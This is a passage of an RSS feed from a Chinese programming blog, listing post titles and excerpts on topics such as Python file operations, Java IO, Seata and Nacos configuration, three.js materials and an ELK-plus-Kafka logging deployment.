      <guid>https://bchobby.github.io/posts/370136ccb861122d4d59d870d644c72f/</guid>
      <description>1. 文件操作 ls、mk、rm、cp&#xA;【1】列出文件夹：ls(&#34;.&#34;)&#xA;结果列表 = ls ( 文件全路径, 包含前缀=True, 选项=&#34;&#34; ) # 选项=&#34;-r&#34; 表示递归列出&#xA;【2】创建文件 or 文件夹：mk(&#34;./a1.txt&#34;)&#xA;mk ( 文件全路径, 已有跳过_不删除=True, 选项=&#34;-p&#34; ) # 选项=&#34;-p&#34; 表示递归创建，也可以是-r&#xA;【3】删除文件 or 文件夹：rm(&#34;./a1.txt&#34;)&#xA;rm ( 文件全路径, 选项=&#34;-rf&#34; ) # 选项=&#34;-r&#34; 表示递归删除&#xA;【4】复制文件 or 文件夹：cp(&#34;./main.py&#34;,&#34;./main2.py&#34;)&#xA;2. 文件打开模式 （1）三种基本模式：r、w、a&#xA;r 只读&#xA;w 删除原文，只写&#xA;a 保留原文（追加），只写&#xA;（2）附加后缀&#xA;b 表示二进制读写&#xA;+ 表示额外赋予读写权限&#xA;U 表示读取的换行全部改成\n&#xA;（3）三种模式的不同&#xA;无文件时: r 报错，w、a 新建&#xA;是否清除原文：r 、a 否，w 是&#xA;初始读取位置：r、w 开头，a 结尾</description>
    </item>
    <item>
      <title>AURIX TC397 Flash编程</title>
      <link>https://bchobby.github.io/posts/a30d7719c0506dfbb9b773ac0cb76d00/</link>
      <pubDate>Fri, 06 Nov 2020 15:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a30d7719c0506dfbb9b773ac0cb76d00/</guid>
      <description>目录 Flash编程基础知识Flash Programming微信公众号 Flash编程基础知识 参考 Flash_Programming_1 for KIT_AURIX_TC397_TFT, 本例展示了如何烧写PFLASH(Program Flash memory) 和 DFLASH(Data Flash memory).&#xA;数据存储单元(DMU, Data Memory Unit)控制执行在PFLASH和DFLASH上的命令序列, 连接FSI(Flash Standard Interface)和PFI(Programming Flash Interface).FSI在所有闪存上执行擦除, 编程和验证操作.PFI为每个PFLASH块与CPU提供唯一的点对点快速连接TC39x 提供 6 Program Flash Banks(PFx) 和 2 Data Flash Banks(DFx)TC3xx 具有相同扇区结构的PFLASH块PFx, PFx块大小可能不用: 3/2/1 Mbyte Program Flash BankTC39x 有5个3MB大小的PFx(PF0…PF4) 和 1个1MB大小的PF5. 每个PFx被划分为1024KB大小的物理扇区(Physical Sectors), 每个物理扇区又被划分为16KB大小的逻辑扇区(Logical Sectors)TC39x具有两个数据闪存存储区DFLASH0和DFLASH1, 两者都包括多个通常用于EEPROM仿真的EEPROM扇区. 仅DFLASH0包含用于数据保护的用户配置块(UCBs, User Configuration Blocks)和1个配置扇区(CFS, Configuration Sector), 用户无法直接访问该配置扇区.DFLASH EEPROM可以配置为单端模式(默认)或补码检测(incomplement sensing). 根据所选模式, 每个扇区的大小分别设置为4KB和2KB闪存中可以编程的最小数据量是页(Page), 程序闪存(Program Flash)页由32字节组成, 数据闪存(Data Flash)页由8字节组成仅在擦除操作后才能对页面进行编程可以执行擦除操作的最小单元是逻辑扇区(Logical Sector) TC39x Program Flash Memeory:</description>
    </item>
    <item>
      <title>科普转载 CSS Pre-processors</title>
      <link>https://bchobby.github.io/posts/d1713df6ef6671db3ab712ebb2efcb30/</link>
      <pubDate>Fri, 06 Nov 2020 11:39:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1713df6ef6671db3ab712ebb2efcb30/</guid>
      <description>CSS 预处理器：一种具有编程逻辑的CSS语言。允许使用类似变量、函数、继承、运算符等编程方法来编写CSS文件。&#xA;三种流行的CSS预处理器：Sass、LESS 和 Stylus 转载</description>
    </item>
    <item>
      <title>Etcd实现定时任务-租约机制(三)</title>
      <link>https://bchobby.github.io/posts/9b626e0bfcdc188aca3177d36920bf13/</link>
      <pubDate>Fri, 06 Nov 2020 10:15:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b626e0bfcdc188aca3177d36920bf13/</guid>
      <description> Etcd 的租约机制 实现定时任务 1 &amp;gt; 创建租约 example :60s (租约立刻开始倒计时)&#xA;2 &amp;gt; 更改租约 (先回收,再创建租约)&#xA;3 &amp;gt; 回收租约 回收租约对应的删除key&#xA;4 &amp;gt; 续约 (再次创建新的租约,绑定到指定的key)&#xA;实验：此 key 只让存在 60 s&#xA;5 &amp;gt; 解约&#xA;#etcdctl lease revoke 018f6d7bd032c117&#xA;注意：&#xA;* 租约创建在绑定key前就开始生效 ！ </description>
    </item>
    <item>
      <title>2020-11-06</title>
      <link>https://bchobby.github.io/posts/6a2f0ba0c87bd16cb2c2c99751534537/</link>
      <pubDate>Fri, 06 Nov 2020 09:54:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a2f0ba0c87bd16cb2c2c99751534537/</guid>
      <description>1、方法分类&#xA;str.trim(); //去掉首尾空格str.replace(&#34; &#34;,&#34;&#34;); //去除所有空格，包括首尾、中间str.replaceAll(&#34; &#34;, &#34;&#34;); //去掉所有空格，包括首尾、中间str.replaceAll(&#34; +&#34;,&#34;&#34;); //去掉所有空格，包括首尾、中间str.replaceAll(&#34;\\s*&#34;, &#34;&#34;); //可以替换大部分空白字符， 不限于空格 ； \\s* 可以匹配空格、制表符、换页符等空白字符的其中任意一个。&#xA;2、代码示例&#xA;package test; public class Test { /** * description:字符串去除空格的方法 */ public static void main(String[] args) { String str = &#34; hi world ~ &#34;; //方法1：str.trim() System.out.println(&#34;1---&amp;gt;&#34;+str.trim()); //方法2：str.repalce(&#34; &#34;,&#34;&#34;) System.out.println(&#34;2---&amp;gt;&#34;+str.replace(&#34; &#34;, &#34;&#34;)); //方法3：str.repalceAll(&#34; &#34;,&#34;&#34;) System.out.println(&#34;3---&amp;gt;&#34;+str.replaceAll(&#34; &#34;, &#34;&#34;)); //方法4：str.repalceAll(&#34; +&#34;,&#34;&#34;) System.out.println(&#34;4---&amp;gt;&#34;+str.replaceAll(&#34; +&#34;, &#34;&#34;)); //方法5：str.repalceAll(&#34;\\s*&#34;,&#34;&#34;) System.out.println(&#34;4---&amp;gt;&#34;+str.replaceAll(&#34;\\s*&#34;, &#34;&#34;)); } } 3、输出结果&#xA;4、replace和replaceAll是JAVA中常用的替换字符的方法,它们的区别是: （1）　replace的参数是char和CharSequence,即可以支持字符的替换,也支持字符串的替换(CharSequence即字符串序列的意思,说白了也就是字符串); （2）　replaceAll的参数是regex,即基于规则表达式的替换,比如,可以通过replaceAll(&#34;\\d&#34;, &#34;</description>
    </item>
    <item>
      <title>《数据库原理与应用》（第三版）习题参考答案</title>
      <link>https://bchobby.github.io/posts/2d1228f39530d04a07874b51dce6fb8f/</link>
      <pubDate>Thu, 05 Nov 2020 11:37:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d1228f39530d04a07874b51dce6fb8f/</guid>
      <description>第 1 章 数据库概述&#xA;1． 试说明数据、数据库、数据库管理系统和数据库系统的概念。&#xA;答：数据是描述事物的符号记录。&#xA;数据库是长期存储在计算机中的有组织的、可共享的大量数据的集合。&#xA;数据库管理系统是一个专门用于实现对数据进行管理和维护的系统软件。&#xA;数据库系统是指在计算机中引入数据库后的系统，一般由数据库、数据库管理系统（及相关的实用工具）、应用程序、数据库管理员组成。&#xA;2． 数据管理技术的发展主要经历了哪几个阶段？&#xA;答：文件管理和数据库管理。&#xA;3． 与文件管理相比，数据库管理有哪些优点？&#xA;答：与文件系统管理数据相比，数据库系统管理数据带来了如下好处：将相互关联的数据集成在一起，较少的数据冗余，程序与数据相互独立，保证数据的安全可靠，最大限度地保证数据的正确性，数据可以共享并能保证数据的一致性。&#xA;4． 在数据库管理方式中，应用程序是否需要关心数据的存储位置和存储结构？为什么？&#xA;答：不需要。因为数据库管理系统提供了逻辑独立性和物理独立性。&#xA;5． 在数据库系统中，数据库的作用是什么？&#xA;答：数据库是数据的汇集，它以一定的组织形式保存在存储介质上。&#xA;6． 在数据库系统中，应用程序可以不通过数据库管理系统而直接访问数据文件吗？&#xA;答：不能&#xA;7． 数据独立性指的是什么？它能带来哪些好处？&#xA;答：数据独立性是指应用程序不会因数据的物理表示方式和访问技术的改变而改变，即应用程序不依赖于任何特定的物理表示方式和访问技术，它包含两个方面：逻辑独立性和物理独立性。&#xA;物理独立性是指当数据的存储位置或存储结构发生变化时，不影响应用程序的特性；&#xA;逻辑独立性是指当表达现实世界的信息内容发生变化时，不影响应用程序的特性。&#xA;8． 数据库系统由哪几部分组成，每一部分在数据库系统中的作用大致是什么？&#xA;答：数据库系统一般包括数据库、数据库管理系统（及相应的实用工具）、应用程序和数据库管理员四个部分。数据库是数据的汇集，它以一定的组织形式保存在存储介质上；数据库管理系统是管理数据库的系统软件，它可以实现数据库系统的各种功能；应用程序专指以数据库数据为基础的程序，数据库管理员负责整个数据库系统的正常运行。&#xA;第2章 数据模型与数据库结构&#xA;1．解释数据模型的概念，为什么要将数据模型分成两个层次？&#xA;答：答：数据模型是对现实世界数据特征的抽象。数据模型一般要满足三个条件：第一是数据模型要能够比较真实地模拟现实世界；第二是数据模型要容易被人们理解；第三是数据模型要能够很方便地在计算机上实现。由于用一种模型来同时很好地满足这三方面的要求在目前是比较困难的，因此在数据库系统中就可以针对不同的使用对象和应用目的，采用不同的数据模型。根据模型应用的不同目的，将这些模型分为两大类：概念层数据模型和组织层数据模型，以方便对信息的描述。&#xA;2．概念层数据模型和组织层数据模型分别是针对什么进行的抽象？&#xA;答：概念层数据模型是对现实世界的抽象，形成信息世界模型，组织层数据模型是对信息世界进行抽象和转换，形成具体的DBMS支持的数据组织模型。&#xA;3．实体之间的联系有哪几种？请为每一种联系举出一个例子。&#xA;答：实体之间的联系有一对一、一对多和多对多三种。例如：系和正系主任是一对一联系（假设一个系只有一个正系主任），系和教师是一对多联系（假设一个教师只在一个系工作），教师和课程是多对多联系（假设一个教师可以讲授多门课程，一门课程可由多个教师讲授）。&#xA;4．说明实体-联系模型中的实体、属性和联系的概念。&#xA;5．指明下列实体间联系的种类：&#xA;（1）教研室和教师（设一个教师只属于一个教研室，一个教研室可有多名教师）。&#xA;（2）商品和顾客。&#xA;（3）国家和首都（假设一个国家的首都可以变化）。&#xA;（4）飞机和乘客。&#xA;（5）银行和账户。&#xA;（6）图书和借阅者。（设一个借阅者可同时借阅多本书，可在不同时间对同一本书借阅多次）&#xA;6．数据库系统包含哪三级模式？试分别说明每一级模式的作用？&#xA;答：数据库系统包含的三级模式为：内模式、模式和外模式。外模式是对现实系统中用户感兴趣的整体数据结构的局部描述，用于满足不同数据库用户需求的数据视图，是数据库用户能够看见和使用的局部数据的逻辑结构和特征的描述，是对数据库整体数据结构的子集或局部重构。模式是数据库中全体数据的逻辑结构和特征的描述，是所有用户的公共数据视图。内模式是对整个数据库的底层表示，它描述了数据的存储结构。&#xA;7．数据库管理系统提供的两级映像的作用是什么？它带来了哪些功能？&#xA;答：数据库系统的两级映象是模式与内描述间的映象和外模式与模式间的映象。模式／内模式的映象带来了物理独立性，即如果数据库的存储结构改变了，可通过调整模式／内模式的映象，使模式能够保持不变。外模式／概念模式间的映象带来了逻辑独立性，当概念模式的结构可发生改变时，也可通过调整外模式/模式间的映象关系，使外模式可以保持不变。&#xA;8．数据库三级模式划分的优点是什么？它能带来哪些数据独立性？&#xA;答：数据库的三级模式的划分实际上将用户、逻辑数据库与物理数据库进行了划分，使彼此之间的相互干扰减到最少。这三个模式的划分实际上带来了两个数据独立性：物理独立性和逻辑独立性。这使得底层的修改和变化尽量不影响到上层。&#xA;第3章 关系数据库&#xA;1． 试述关系模型的三个组成部分。&#xA;答：关系数据结构、关系操作集合和关系完整性约束。&#xA;2． 解释下列术语的含义：&#xA;（1） 笛卡尔积：设D1，D2，…，Dn为任意集合，定义笛卡尔积D1，D2，…，Dn为：&#xA;D1×D2× …×Dn ＝{(d1，d2，…，dn) | di ∈Di，i＝1，2，…，n }</description>
    </item>
    <item>
      <title>微信小程序商城完整代码</title>
      <link>https://bchobby.github.io/posts/820efb3d7775410864a7db52e83632a2/</link>
      <pubDate>Wed, 04 Nov 2020 22:03:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/820efb3d7775410864a7db52e83632a2/</guid>
      <description>GitHub地址：https://github.com/lin-lx/wx-demo.git</description>
    </item>
    <item>
      <title>IDEA常用快捷键</title>
      <link>https://bchobby.github.io/posts/0383beb58ddef62672fd62968c96238c/</link>
      <pubDate>Wed, 04 Nov 2020 21:24:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0383beb58ddef62672fd62968c96238c/</guid>
      <description>【1】创建内容：alt+insert&#xA;【2】main方法：psvm&#xA;【3】输出语句：sout&#xA;【4】复制行：ctrl+d&#xA;【5】删除行：ctrl+y&#xA;【6】代码向上/下移动：Ctrl + Shift + Up / Down&#xA;【7】搜索类： ctrl+n&#xA;【8】生成代码 ：alt + Insert（如构造函数等，getter,setter,hashCode,equals,toString）&#xA;【9】百能快捷键 : alt + Enter （导包，生成变量等）&#xA;【10】单行注释或多行注释 ： Ctrl + / 或 Ctrl + Shift + /&#xA;【11】重命名 shift+f6&#xA;【12】for循环 直接 ：fori 回车即可&#xA;【13】代码块包围：try-catch,if,while等 ctrl+alt+t&#xA;【14】 代码自动补全提示: alt+/&#xA;【16】代码一层一层调用的快捷键：&#xA;前进：ctrl + alt + --&amp;gt;&#xA;后退：ctrl + alt + &amp;lt;--&#xA;【17】显示代码结构 : alt + 7&#xA;【18】显示导航栏： alt +1 【19】撤回：ctrl+z&#xA;【20】REDO操作：ctrl+shift+z&#xA;【21】缩进：tab 取消缩进： shift+tab</description>
    </item>
    <item>
      <title>JAVA进阶学习笔记(6)：IO流(节点流、缓冲流、转换流、标准的输入输出流、打印流、对象流、随机存取文件流)</title>
      <link>https://bchobby.github.io/posts/6816f6829f2ce72d64165fb7793d7e61/</link>
      <pubDate>Wed, 04 Nov 2020 20:42:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6816f6829f2ce72d64165fb7793d7e61/</guid>
      <description>目录 1 File类的使用1.1 File类概述1.2 File类的常用构造器1.3File的常用方法 2 IO流原理及流的分类2.1 IO流原理2.2 流的分类2.3 流的体系结构 3 节点流(文件流)3.1 字符输入流(FileReader)3.2 字符输出流(FileWrite)3.3 字节输入流(FileInputStream)与字节输出流(FileOuputStream) 4 处理流之一：缓冲流4.1缓冲流简介4.2 缓冲流的使用 5 处理流之二：转换流5.1 转换流简介5.2 转换流的使用5.3 编码解码的解释 6 标准的输入输出流6.1 标准输入输出流简介6.2 标准输入输出流使用 7 打印流7.1 打印流简介 8 数据流8.1 数据流简介8.2 数据流的使用 9 对象流9.1 对象流简介9.2 对象的序列化机制9.3 对象流的使用9.4 自定义类的序列化 10 随机存取文件流10.1 随机存取文件流简介10.2 随机存取文件的使用 本节练习ex1ex2ex3ex4ex5ex6 1 File类的使用 1.1 File类概述 java.io.File类：文件和文件目录路径的抽象表示形式，与平台无关&#xA;File 能新建、删除、重命名文件和目录，但 File 不能访问文件内容本身。 如果需要访问文件内容本身，则需要使用输入/输出流&#xA;想要在Java程序中表示一个真实存在的文件或目录，那么必须有一个File对象，但是Java程序中的一个File对象，可能没有一个真实存在的文件或目录&#xA;File对象可以作为参数传递给流的构造器&#xA;1.2 File类的常用构造器 相对路径与绝对路径&#xA;相对路径：相较于某个路径下，指明的路径&#xA;绝对路径：包含盘符在内的文件或文件目录的路径对于路径的分割符号&#xA;window:\&#xA;unix:/ @Test public void test1(){ //构造器1 File file1 = new File(&#34;</description>
    </item>
    <item>
      <title>01：adminLTE2基本使用</title>
      <link>https://bchobby.github.io/posts/15a5d372b98212c08530e7589b1e3a83/</link>
      <pubDate>Wed, 04 Nov 2020 15:33:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15a5d372b98212c08530e7589b1e3a83/</guid>
      <description>1.1 adminLTE介绍 1、adminLTE 介绍 1、基于Bootstrap3高度可定制的响应式管理模板，免去前端架构师大量的js和css的编写&#xA;2、adminLTE除了可以使用bootstrap3的大多数样式之外，自身也提供了一些非常实用的样式包装，并且在样式演示中已经基本罗列出来了。&#xA;3、adminLTE的插件中使用的基本都是bootstrap和jquery的插件。&#xA;2、adminLTE 功能 1、AdminLTE 也同样具备了后台应有模板，像登录模板、注册模板、个人模板、404模板、500模板、空白模板等，这些可以在下载后在 Examples 菜单里查看到。&#xA;2、里面的组件 Widgets 页面，不要以为是一些像 easyui 的组件，其实也是 AdminLTE 定义的一些css 样式，像 box 样式，是里面最基础最常用的一个。&#xA;3、里面的 js 插件除了bootstrap自带那模态窗、导航、下拉菜单外，其它就是集成一些有名的第三方插件，像 select2、CK Editor、iCheck、DataTables 等等。&#xA;3、网址 1、adminLTE官网：https://adminlte.io/&#xA;2、官方模板：http://adminlte.la998.com/&#xA;1.2 基本使用（base.html） 1、利用adminLTE完成最基础后台界面（base.html） base.html&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=utf-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;refresh&#34; content=&#34;{% block refresh_time %}{% endblock %}&#34;&amp;gt; &amp;lt;title&amp;gt;{% block title %}{% endblock %}{% if settings.SITE_TITLE %} | {{ settings.SITE_TITLE }}{% endif %}&amp;lt;/title&amp;gt; &amp;lt;meta content=&#34;</description>
    </item>
    <item>
      <title>seata1.2分布式事务安装与使用</title>
      <link>https://bchobby.github.io/posts/0f2b23dfb0c70bec5a859f27ed241493/</link>
      <pubDate>Wed, 04 Nov 2020 14:50:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f2b23dfb0c70bec5a859f27ed241493/</guid>
      <description>seata 下载 http://seata.io/en-us/blog/download.html&#xA;选择自己的版本下载&#xA;seata和nacos整合开发分布式 第一步 配置seata的服务器端的数据库 1、全局事务会话信息由3块内容构成，全局事务–&amp;gt;分支事务–&amp;gt;全局锁，对应表global_table、branch_table、lock_table&#xA;2、建立一个数据库名字随意(我起的名字——seata)用来做seata服务端的库，存储全局事务的会话信息&#xA;3、拿到服务端数据库的脚本文件执行并且建立表第0步三张表&#xA;https://github.com/seata/seata/tree/1.2.0/script/server/db&#xA;上面地址可以拿到数据库脚本，选择mysql然后自己执行&#xA;第二步 修改服务端启动包的文件 1、启动包: seata–&amp;gt;conf–&amp;gt;file.conf，修改store.mode=“db”&#xA;2、修改自己的db连接信息&#xA;这些信息是存在file.conf当中的也就是seata启动的时候会去读取这个配置文件；如果我们使用nacos可以把这些信息放到nacos的注册中心；从而实现动态更新；&#xA;如果你需要把这些信息放到nacos配置中心就需要修改seata–&amp;gt;conf–&amp;gt;registy.conf文件当中的注册中心和配置中心的信息，修改成为nacos；（为什么需要修改config和register呢？因为如果你的seata服务器想要去配置中心读取配置，那么一定到得把自己注册到nacos；所以registy.conf当中需要配置注册中心的地址也需要配置配置中心的地址）&#xA;这样我们如果后面启动seata就可以看到他是作为了一个nacos的客户端注册到了nacos的注册中心的；记住这点seata已经可以作为客户端注册到nacos了；&#xA;第三步 把配置信息上传到nacos配置中心 1、启动nacos&#xA;2、https://github.com/seata/seata/tree/1.2.0/script/config-center到这个地址上面获取config.txt，然后把config.txt当道idea当中去编辑；推荐使用idea编辑；因为可能有编码原因；保留自己想要的信息&#xA;我这里给出的是精简后的，你们需要自己对应修改自己的信息；主要是数据库配置信息&#xA;注意这些信息是服务器端和客户端都要使用的；&#xA;由于上面我们已经把seata注册到了nacos；所以他的file.conf当中的信息可以直接从nacos读取；也就是下面我们配置的信息；换句话说如果你配置了seata作为nacos的一个客户端去读取配置那么file.conf可以不用配置了；这两步是重复的；这也是网上很多资料没有说明的；&#xA;换成大白话的意思就是你如果配置了registy.conf那么file.conf当中的信息基本无效——都是从配置中心读取；甚至可以删了file.conf；你们可以自己测试；如果你不配置registy.conf，那么seata就会从file.conf当中读取配置；所以file.conf和registy.conf其实只需要配置一个；&#xA;精简后的配置如下 #事务分组——my_test_tx_group 这值会在我们客户端对应，需要注意 service.vgroupMapping.my_test_tx_group=default service.default.grouplist=127.0.0.1:8091 store.mode=db store.db.datasource=druid store.db.dbType=mysql store.db.driverClassName=com.mysql.jdbc.Driver store.db.url=jdbc:mysql://ip::3306/seata?useUnicode=true store.db.user=username store.db.password=password store.db.minConn=5 store.db.maxConn=30 store.db.globalTable=global_table store.db.branchTable=branch_table store.db.queryLimit=100 store.db.lockTable=lock_table store.db.maxWait=5000 那么这些精简后的配置如何传到nacos呢？&#xA;https://github.com/seata/seata/tree/1.2.0/script/config-center&#xA;从上面这个地址下载nacos文件下面的nacos-config.sh文件然后执行&#xA;sh 你下载后的路径/nacos-config.sh；当然如果你的nacos地址断后不上默认的，需要修改naocs-config.sh当中指定你的路径；也可以在sh命令后面指定；&#xA;https://github.com/seata/seata/tree/1.2.0/script/config-center这个地址里面有个readme文件有说明&#xA;执行完成之后，你可以看到nacos的配置中心上面多了很多配置；注意这个时候seata服务器用的就是这些配置了；你可以修改一个错误的试试是不能启动seata服务器的&#xA;第四步 启动seata服务器 讲道理可以启动成功——注意不要用jdk11；&#xA;第五步 建立微服务项目----以spring cloud为例 maven引入seata-spring-boot-starter、spring-cloud-alibaba-seata这两个jar&#xA;其中seata-spring-boot-starter选择你对应的seata版本比如1.2；但是spring-cloud-alibaba-seata这个jar当中自动依赖了seata-spring-boot-starter但是版本对应不上；比如spring-cloud-alibaba-seata当中依赖的seata-spring-boot-starter可能是0.9；所以需要剔除他；什么意思呢？&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.seata&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;seata-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;你的版本比如1.2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-alibaba-seata&amp;lt;/artifactId&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>three.js材质-法向量材质-MeshNormalMaterial介绍和使用(vue中使用three.js14)</title>
      <link>https://bchobby.github.io/posts/21ed7e4247fce06e4685c1d0cd8d151d/</link>
      <pubDate>Wed, 04 Nov 2020 00:20:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21ed7e4247fce06e4685c1d0cd8d151d/</guid>
      <description>法向量材质介绍和使用 1.法向量材质介绍2.demo说明3.demo代码 1.法向量材质介绍 MeshNormalMaterial渲染出来的每一面颜色都稍有不同，即使在物体旋转时，这些颜色基本保持原来的位置，之所以这样，是因为每一个面的颜色是从该面向外指的法向量计算得到，法向量即与面垂直的向量，在 three.js 库中法向量有着广泛的应用。它可以用来决定光的反射方向，在三维物体上映射材质时起到辅助作用。还可以在计算光照、阴影时提供有用信息，从而为物体表面像素上色。&#xA;MeshNormalMaterial材质的属性也比较少，有如下几个属性可以设置&#xA;属性描述wireframe是否显示线框wireframeLinewidth线框的宽度shading(移除)该属性用来设置着色方法，THREE.FlagShading表示平面着色，THREE.SmoothShading表示平滑着色flatShading(替换shading)该属性用来设置着色方法，是否用平面着色器着色，true:表示平面着色，false:表示平滑着色 2.demo说明 如上图，该示例支持以下功能&#xA;调整visible属性控制物体是否显示通过勾选transparent和调整opacity属性控制物体透明度通过勾选wireframe属性控制物体是否为线框通过勾选arrows属性控制是否展示法向量辅助对象通过下拉选择side属性控制渲染前面、后面、全部通过下拉选择shadow属性控制物体使用平面着色还是平滑着色通过下拉选择mesh属性控制页面绘制球体、方块还是平面 3.demo代码 &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div id=&#34;container&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;controls-box&#34;&amp;gt; &amp;lt;section&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-checkbox v-model=&#34;properties.visible&#34;&amp;gt;visible&amp;lt;/el-checkbox&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-checkbox v-model=&#34;properties.transparent&#34;&amp;gt;transparent&amp;lt;/el-checkbox&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-checkbox v-model=&#34;properties.wireframe&#34;&amp;gt;wireframe&amp;lt;/el-checkbox&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-checkbox v-model=&#34;properties.arrows&#34;&amp;gt;arrows&amp;lt;/el-checkbox&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;div v-for=&#34;(item,key) in properties&#34; :key=&#34;key&#34;&amp;gt; &amp;lt;div v-if=&#34;item&amp;amp;&amp;amp;item.name!=undefined&#34;&amp;gt; &amp;lt;el-col :span=&#34;8&#34;&amp;gt; &amp;lt;span class=&#34;vertice-span&#34;&amp;gt;{{item.name}}&amp;lt;/span&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;13&#34;&amp;gt; &amp;lt;el-slider v-model=&#34;item.value&#34; :min=&#34;item.min&#34; :max=&#34;item.max&#34; :step=&#34;item.step&#34; :format-tooltip=&#34;formatTooltip&#34;&amp;gt;&amp;lt;/el-slider&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;3&#34;&amp;gt; &amp;lt;span class=&#34;vertice-span&#34;&amp;gt;{{item.value}}&amp;lt;/span&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-col :span=&#34;8&#34; class=&#34;label-col&#34;&amp;gt;&amp;lt;label&amp;gt;side&amp;lt;/label&amp;gt;&amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;</description>
    </item>
    <item>
      <title>Kafka#ELK&#43;Kafka高并发日志分析收集系统</title>
      <link>https://bchobby.github.io/posts/10d6b91dec051722bd512b5addef9f4e/</link>
      <pubDate>Tue, 03 Nov 2020 19:51:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10d6b91dec051722bd512b5addef9f4e/</guid>
      <description>文章目录 一、ES集群安装配置１、ES1的部署２、ES2的部署３、ES1、ES2安装管理插件 二、在生产服务器上部署Logstash收集日志1.downloads 软件包2.Logstash 向es集群写数据(测试)3.下面演示一下如何收集系统日志(测试) 三、Kafka集群安装配置１、kafka12.配置zookeeper集群3.创建zookeeper所需要的目录４、验证.启动kafka 四、Kafka集群部署logstashkafka1&amp;amp;kafka2&amp;amp;kafka3安装logstash三台kafak编写logstash配置文件webserver1上写入测试内容三台kafka启动logstash（注意顺序1&amp;gt;2&amp;gt;3）查看es管理界面 ES集群： http://10.11.67.32:9200/ http://10.11.67.33:9200/ http://10.11.67.32:9200/_plugin/head/ http://10.11.67.33:9200/_plugin/kopf kibana服务器： http://10.11.67.32:5601/ kafka集群： 10.11.67.19　kafka-1 10.11.67.20　kafka-2 10.11.67.21　kafka-3 生产服务器 web-server：10.11.67.69 Kafka消息队列中间件介绍&#xA;Apache kafka是消息中间件的一种，是一种分布式的，基于发布/订阅的消息系统。能实现一个为处理实时数据提供一个统一、高吞吐、低延迟的平台，且拥有分布式的，可划分的，冗余备份的持久性的日志服务等特点。kafka是一个消息队列服务器。kafka服务称为broker（中间人）, 消息发送者称为producer（生产者）, 消息接收者称为consumer（消费者）;通常我们部署多个broker以提供高可用性的消息服务集群.典型的是3个broker;消息以topic的形式发送到broker,消费者订阅topic,实现按需取用的消费模式;创建topic需要指定replication-factor(复制数目, 通常=broker数目);每个topic可能有多个分区(partition), 每个分区的消息内容不会重复&#xA;业务层可以直接写入到kafka队列中，不用担心elasticsearch的写入效率问题&#xA;Kafka的术语&#xA;kafka-broker：中间人&#xA;webserver/logstash-producer：消息生产者/消息发送者&#xA;elasticsearch-consumer：消费者&#xA;logs-topic：话题&#xA;replication-facter：复制数目-中间人存储消息的副本数=broker数目&#xA;一个topic有多个分区partition：&#xA;Partition：为了实现扩展性，一个非常大的topic可以分布到多个broker（即服务器）上，一个topic可以分为多个partition，每个partition是一个有序的队列。partition中的每条消息都会被分配一个有序的id（offset）。kafka只保证按一个partition中的顺序将消息发给consumer，不保证一个topic的整体（多个partition间）的顺序。在kafka中,一个partition中的消息只会被group中的一个consumer消费(同一时刻)；一个Topic中的每个partions，只会被一个consumer消费，不过一个consumer可以同时消费多个partitions中的消息。&#xA;一、ES集群安装配置 １、ES1的部署 1.安装java-1.8.0以及依赖包（每台服务器都安装JAVA）&#xA;[root@elk-node1 ~]# yum -y install epel-release&#xA;[root@elk-node1 ~]# yum install -y java-1.8.0 git wget lrzsz&#xA;缓存该包–downloadonly --downloaddir=./&#xA;2.获取es软件包&#xA;[root@elk-node1 ~]# wget https://download.elastic.co/elasticsearch/elasticsearch/elasticsearch-1.7.3.tar.gz&#xA;[root@elk-node1 ~]# tar -xf elasticsearch-1.7.3.tar.gz -C /usr/local</description>
    </item>
    <item>
      <title>这些 Python 不为人知的「坑」，躲都躲不开</title>
      <link>https://bchobby.github.io/posts/b607d1ab98df90e1f735a4151ecf8432/</link>
      <pubDate>Tue, 03 Nov 2020 18:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b607d1ab98df90e1f735a4151ecf8432/</guid>
